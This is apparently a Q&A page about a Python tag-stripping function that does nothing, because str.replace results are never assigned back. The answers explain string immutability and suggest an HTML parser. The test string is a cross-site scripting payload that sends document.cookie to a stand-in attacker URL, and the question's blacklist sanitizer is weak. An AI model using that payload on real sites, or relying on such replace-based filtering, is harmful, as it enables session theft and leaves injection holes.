I am trying to replace some key words in a string. Here is my function:
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
and here is my other code and the string:
string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"
print '\nstring1 cleaned of code'
print '------------------------'
print clean_code(string1)
My output is as follows, and I'm not sure why nothing has changed
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
Python strings are immutable:
input = input.replace('<script>', " ")
input = ...
See replace documentation:
Return a copy of string str with all occurrences of substring old replaced by new.
Strings are immutable in Python. input.replace('</a>', " ") does not alter input. You need to assign the result back to input.
But really you should use a parser like BeautifulSoup lxml.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With